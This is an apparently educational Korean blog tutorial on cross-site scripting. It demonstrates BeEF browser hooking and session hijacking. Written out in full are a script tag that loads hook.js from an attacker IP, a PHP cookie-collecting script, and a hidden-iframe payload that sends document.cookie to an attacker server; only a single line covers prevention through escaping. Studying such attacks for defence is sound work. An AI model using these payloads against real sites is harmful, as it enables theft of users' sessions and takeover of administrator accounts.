Simple is IT, 누구나 보고 누구나 깨닫는 IT

XSS(Cross Site Scripting, BeEF, Session Hijaking) 및 예방법 본문

Simple is IT/Security

XSS(Cross Site Scripting, BeEF, Session Hijaking) 및 예방법

currenjin 2020. 4. 27. 11:11

XSS(Cross Site Scripting) ?

DB에 저장되는 곳 중 입력 값으로 웹 상에서 동작할 수 있는 스크립트 코드를 삽입하는 공격

ex) 입력 데이터에 <script>alert("XSS Test");</script> 삽입

-> 데이터 조회 시 alert 창이 나타나면 성공이다.


해당 내용 입력 후 게시글로 접속을 해보면

위와 같이 메세지 박스가 출력이 된다.

BeEF를 이용한 XSS

BeEF

: 웹 브라우저로 페이지를 읽을 때 JS 형태로 동작, 사용자 PC의 정보 수집, 메타 스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구

설치)

# cd beef

# ./install

설치가 완료되면 아래와 같이

완료가 되었다는 텍스트가 출력이 되는데, 실행하기 전에 config.yaml에서 pw를 변경하라는 내용이 있다.

변경 후

./beef 실행

Hook URL : Client에서 실행이 되는 js

UI : Server에서 실행이 되는 UI

사용자 실행시키기 위해선 PortForward 진행

UserInterface이다.

<script src=”http://[IP]:3000/hook.js” type=”text/javascript”></script>

위 내용을 게시판에 작성하게되면 해당IP의 BeEF 자바 스크립트로 접속이 된다.(Client가 모르는 사이에)

감염이 된 Client들

세션 하이재킹( Session Hijaking )

세션 하이재킹

: XSS를 이용해서 게시글을 조회하는 사용자들의 웹 세션을 탈취

공격자 설정

# cd /var/www/html

# vi cookie.php

<?php

$cookie=$_GET["data"];

$myfile=fopen("cookie/data.txt", "a+");

fwrite($myfile, $cookie."\r\n");

fclose($myfile);

?>

# mkdir cookie

# chmod 777 cookie

# systemctl restart apache2

게시판에 작성

<iframe name="hyun" width=30 height=30 frameborder=1></iframe> <script>hyun.location="http://192.168.10.6/cookie.php?data="+document.cookie</script>

(iframe 내에 값을 모두 0으로 바꾸면 보이지도 않음)

--> /var/www/html/cookie/data.txt 파일에 세션이 기록된다.

만약 그게 관리자라면?

탈취한 세션을 적용하여 관리자 역할을 수행 가능.

예방법

'< >(꺽새)' 형식의 텍스트를 치환한다.

-> 사용자에게 보여지는 '< >'형식을 코드에서 동작하지 않는 '&lt'로 치환.(사용자에게는 정상적으로 보임)


Comments